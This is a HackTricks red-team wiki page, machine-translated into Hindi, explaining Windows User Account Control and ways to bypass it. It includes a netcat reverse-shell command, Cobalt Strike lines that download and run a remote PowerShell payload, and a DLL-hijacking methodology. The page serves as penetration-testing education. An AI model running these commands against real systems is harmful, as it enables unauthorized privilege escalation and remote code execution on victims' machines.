UAC - User Account Control

Reading time: 13 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

UAC

User Account Control (UAC) एक विशेषता है जो उच्च गतिविधियों के लिए सहमति प्रॉम्प्ट सक्षम करती है। अनुप्रयोगों के विभिन्न integrity स्तर होते हैं, और एक उच्च स्तर वाला प्रोग्राम ऐसे कार्य कर सकता है जो संविधान को खतरे में डाल सकता है। जब UAC सक्षम होता है, अनुप्रयोग और कार्य हमेशा गैर-प्रशासक खाते के सुरक्षा संदर्भ में चलते हैं जब तक कि एक प्रशासक स्पष्ट रूप से इन अनुप्रयोगों/कार्य को सिस्टम पर प्रशासक स्तर की पहुंच देने के लिए अधिकृत न करे। यह एक सुविधा है जो प्रशासकों को अनपेक्षित परिवर्तनों से बचाती है लेकिन इसे सुरक्षा सीमा नहीं माना जाता है।

अवधारण स्तरों के बारे में अधिक जानकारी के लिए:

Integrity Levels

जब UAC लागू होता है, एक प्रशासक उपयोगकर्ता को 2 टोकन दिए जाते हैं: एक मानक उपयोगकर्ता कुंजी, नियमित स्तर के रूप में नियमित कार्य करने के लिए, और एक प्रशासक विशेषाधिकार के साथ।

यह पृष्ठ UAC के काम करने के तरीके पर गहराई से चर्चा करता है और लॉगिन प्रक्रिया, उपयोगकर्ता अनुभव, और UAC आर्किटेक्चर को शामिल करता है। प्रशासक सुरक्षा नीतियों का उपयोग करके स्थानीय स्तर पर (secpol.msc का उपयोग करके) या Active Directory डोमेन वातावरण में समूह नीति वस्तुओं (GPO) के माध्यम से UAC के काम करने के तरीके को कॉन्फ़िगर और धकेल सकते हैं। विभिन्न सेटिंग्स का विस्तार से चर्चा की गई है यहां। UAC के लिए सेट की जा सकने वाली 10 समूह नीति सेटिंग्स हैं। निम्नलिखित तालिका अतिरिक्त विवरण प्रदान करती है:

UAC Bypass Theory

कुछ प्रोग्राम स्वचालित रूप से ऑटोएलीवेट होते हैं यदि उपयोगकर्ता प्रशासक समूह का सदस्य है। इन बाइनरी में उनके Manifests के अंदर autoElevate विकल्प होता है जिसका मान True होता है। बाइनरी को Microsoft द्वारा हस्ताक्षरित होना चाहिए।

फिर, UAC को बायपास करने के लिए ( मध्यम इंटीग्रिटी स्तर से उच्च पर उठाना) कुछ हमलावर इस प्रकार की बाइनरी का उपयोग करते हैं ताकि वे मनमाने कोड को निष्पादित कर सकें क्योंकि इसे उच्च स्तर की इंटीग्रिटी प्रक्रिया से निष्पादित किया जाएगा।

आप sigcheck.exe टूल का उपयोग करके बाइनरी का Manifest चेक कर सकते हैं। और आप Process Explorer या Process Monitor (Sysinternals के) का उपयोग करके प्रक्रियाओं के इंटीग्रिटी स्तर को देख सकते हैं।

Check UAC

UAC सक्षम है या नहीं यह पुष्टि करने के लिए करें:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

यदि यह 1 है तो UAC सक्रिय है, यदि यह 0 है या यह मौजूद नहीं है, तो UAC निष्क्रिय है।

फिर, कौन सा स्तर कॉन्फ़िगर किया गया है, इसकी जांच करें:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • यदि 0 है, तो UAC प्रॉम्प्ट नहीं करेगा (जैसे अक्षम)
  • यदि 1 है, तो व्यवस्थापक से उपयोगकर्ता नाम और पासवर्ड पूछा जाएगा उच्च अधिकारों के साथ बाइनरी निष्पादित करने के लिए (सुरक्षित डेस्कटॉप पर)
  • यदि 2 है (हमेशा मुझे सूचित करें) UAC हमेशा व्यवस्थापक से पुष्टि मांगेगा जब वह उच्च विशेषाधिकारों के साथ कुछ निष्पादित करने की कोशिश करेगा (सुरक्षित डेस्कटॉप पर)
  • यदि 3 है, तो 1 की तरह लेकिन सुरक्षित डेस्कटॉप पर आवश्यक नहीं
  • यदि 4 है, तो 2 की तरह लेकिन सुरक्षित डेस्कटॉप पर आवश्यक नहीं
  • यदि 5 है (डिफ़ॉल्ट) तो यह व्यवस्थापक से पुष्टि मांगेगा कि उच्च विशेषाधिकारों के साथ गैर-विंडोज बाइनरी चलाने के लिए

फिर, आपको LocalAccountTokenFilterPolicy के मान पर ध्यान देना होगा
यदि मान 0 है, तो केवल RID 500 उपयोगकर्ता (बिल्ट-इन व्यवस्थापक) UAC के बिना प्रशासनिक कार्य कर सकता है, और यदि इसका 1 है, तो "Administrators" समूह के सभी खाते ऐसा कर सकते हैं।

और, अंत में FilterAdministratorToken कुंजी के मान पर ध्यान दें
यदि 0 (डिफ़ॉल्ट) है, तो बिल्ट-इन व्यवस्थापक खाता दूरस्थ प्रशासनिक कार्य कर सकता है और यदि 1 है, तो बिल्ट-इन खाता व्यवस्थापक दूरस्थ प्रशासनिक कार्य नहीं कर सकता, जब तक LocalAccountTokenFilterPolicy को 1 पर सेट नहीं किया गया हो।

सारांश

  • यदि EnableLUA=0 या मौजूद नहीं है, किसी के लिए भी UAC नहीं
  • यदि EnableLua=1 और LocalAccountTokenFilterPolicy=1, किसी के लिए भी UAC नहीं
  • यदि EnableLua=1 और LocalAccountTokenFilterPolicy=0 और FilterAdministratorToken=0, RID 500 (बिल्ट-इन व्यवस्थापक) के लिए कोई UAC नहीं
  • यदि EnableLua=1 और LocalAccountTokenFilterPolicy=0 और FilterAdministratorToken=1, सभी के लिए UAC

यह सभी जानकारी metasploit मॉड्यूल का उपयोग करके एकत्र की जा सकती है: post/windows/gather/win_privs

आप अपने उपयोगकर्ता के समूहों की भी जांच कर सकते हैं और अखंडता स्तर प्राप्त कर सकते हैं:

net user %username%
whoami /groups | findstr Level

UAC बायपास

note

ध्यान दें कि यदि आपके पास पीड़ित तक ग्राफिकल पहुंच है, तो UAC बायपास सीधा है क्योंकि आप बस UAC प्रॉम्प्ट दिखाई देने पर "हाँ" पर क्लिक कर सकते हैं।

UAC बायपास की आवश्यकता निम्नलिखित स्थिति में होती है: UAC सक्रिय है, आपकी प्रक्रिया एक मध्यम अखंडता संदर्भ में चल रही है, और आपका उपयोगकर्ता प्रशासकों समूह में है

यह उल्लेख करना महत्वपूर्ण है कि UAC को उच्चतम सुरक्षा स्तर (हमेशा) में बायपास करना बहुत कठिन है, बजाय इसके कि यह किसी अन्य स्तर (डिफ़ॉल्ट) में हो।

UAC निष्क्रिय

यदि UAC पहले से ही निष्क्रिय है (ConsentPromptBehaviorAdmin 0 है) तो आप प्रशासक विशेषाधिकारों के साथ एक रिवर्स शेल निष्पादित कर सकते हैं (उच्च अखंडता स्तर) कुछ इस तरह:

bash
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

UAC बायपास टोकन डुप्लीकेशन के साथ

बहुत बुनियादी UAC "बायपास" (पूर्ण फ़ाइल प्रणाली पहुंच)

यदि आपके पास एक शेल है जिसमें एक उपयोगकर्ता है जो Administrators समूह के अंदर है, तो आप C$ साझा को SMB (फ़ाइल प्रणाली) के माध्यम से एक नए डिस्क में स्थानीय रूप से माउंट कर सकते हैं और आपको फ़ाइल प्रणाली के अंदर सब कुछ तक पहुंच प्राप्त होगी (यहां तक कि Administrator का होम फ़ोल्डर)।

warning

लगता है कि यह ट्रिक अब काम नहीं कर रही है

bash
net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

UAC बायपास कोबाल्ट स्ट्राइक के साथ

कोबाल्ट स्ट्राइक तकनीकें केवल तभी काम करेंगी जब UAC को इसके अधिकतम सुरक्षा स्तर पर सेट नहीं किया गया हो।

bash
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire और Metasploit में UAC को bypass करने के लिए कई मॉड्यूल हैं।

KRBUACBypass

Documentation और tool https://github.com/wh0amitz/KRBUACBypass में है।

UAC bypass exploits

UACME जो कई UAC bypass exploits का संकलन है। ध्यान दें कि आपको UACME को visual studio या msbuild का उपयोग करके संकलित करना होगा। संकलन कई executables (जैसे Source\Akagi\outout\x64\Debug\Akagi.exe) बनाएगा, आपको यह जानना होगा कि आपको कौन सा चाहिए।
आपको सावधान रहना चाहिए क्योंकि कुछ bypasses कुछ अन्य प्रोग्रामों को प्रॉम्प्ट करेंगे जो उपयोगकर्ता को सूचित करेंगे कि कुछ हो रहा है।

UACME में निर्माण संस्करण है जिससे प्रत्येक तकनीक काम करना शुरू हुई। आप अपने संस्करणों को प्रभावित करने वाली तकनीक के लिए खोज कर सकते हैं:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Also, using this page you get the Windows release 1607 from the build versions.

More UAC bypass

सभी तकनीकें जो यहाँ AUC को बायपास करने के लिए उपयोग की जाती हैं एक पूर्ण इंटरैक्टिव शेल के साथ पीड़ित की आवश्यकता होती हैं (एक सामान्य nc.exe शेल पर्याप्त नहीं है)।

आप meterpreter सत्र का उपयोग करके प्राप्त कर सकते हैं। एक प्रक्रिया में माइग्रेट करें जिसका सत्र मान 1 के बराबर है:

(explorer.exe काम करना चाहिए)

UAC Bypass with GUI

यदि आपके पास GUI तक पहुंच है, तो आप जब UAC प्रॉम्प्ट प्राप्त करते हैं तो आप बस इसे स्वीकार कर सकते हैं, आपको वास्तव में इसे बायपास करने की आवश्यकता नहीं है। इसलिए, GUI तक पहुंच प्राप्त करना आपको UAC को बायपास करने की अनुमति देगा।

इसके अलावा, यदि आप एक GUI सत्र प्राप्त करते हैं जिसका कोई और उपयोग कर रहा था (संभवतः RDP के माध्यम से) तो वहाँ कुछ उपकरण होंगे जो व्यवस्थापक के रूप में चल रहे होंगे जहाँ से आप cmd को उदाहरण के लिए व्यवस्थापक के रूप में सीधे चला सकते हैं बिना UAC द्वारा फिर से प्रॉम्प्ट किए गए जैसे https://github.com/oski02/UAC-GUI-Bypass-appverif। यह थोड़ा अधिक गुप्त हो सकता है।

Noisy brute-force UAC bypass

यदि आपको शोर करने की परवाह नहीं है, तो आप हमेशा कुछ ऐसा चला सकते हैं https://github.com/Chainski/ForceAdmin जो अनुमतियों को बढ़ाने के लिए पूछता है जब तक कि उपयोगकर्ता इसे स्वीकार नहीं करता

Your own bypass - Basic UAC bypass methodology

यदि आप UACME पर एक नज़र डालते हैं, तो आप देखेंगे कि अधिकांश UAC बायपास एक Dll Hijacking कमजोरियों का दुरुपयोग करते हैं (मुख्य रूप से C:\Windows\System32 पर दुर्भावनापूर्ण dll लिखना)। Dll Hijacking कमजोरी खोजने के लिए इसे पढ़ें

  1. एक बाइनरी खोजें जो autoelevate करेगा (जाँच करें कि जब इसे निष्पादित किया जाता है तो यह उच्च अखंडता स्तर पर चलता है)।
  2. procmon के साथ "NAME NOT FOUND" घटनाओं को खोजें जो DLL Hijacking के लिए कमजोर हो सकती हैं।
  3. आपको संभवतः कुछ संरक्षित पथों (जैसे C:\Windows\System32) के अंदर DLL लिखने की आवश्यकता होगी जहाँ आपके पास लिखने की अनुमति नहीं है। आप इसे बायपास कर सकते हैं:
    1. wusa.exe: Windows 7, 8 और 8.1। यह संरक्षित पथों के अंदर CAB फ़ाइल की सामग्री को निकालने की अनुमति देता है (क्योंकि यह उपकरण उच्च अखंडता स्तर से निष्पादित होता है)।
    2. IFileOperation: Windows 10।
  4. संरक्षित पथ के अंदर अपने DLL को कॉपी करने और कमजोर और ऑटोएलीवेटेड बाइनरी को निष्पादित करने के लिए एक स्क्रिप्ट तैयार करें।

Another UAC bypass technique

इसमें यह देखना शामिल है कि क्या एक autoElevated binary पंजीकरण से बाइनरी या कमांड के नाम/पथ को पढ़ने की कोशिश करता है जिसे निष्पादित किया जाना है (यह अधिक दिलचस्प है यदि बाइनरी इस जानकारी को HKCU के अंदर खोजता है)।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें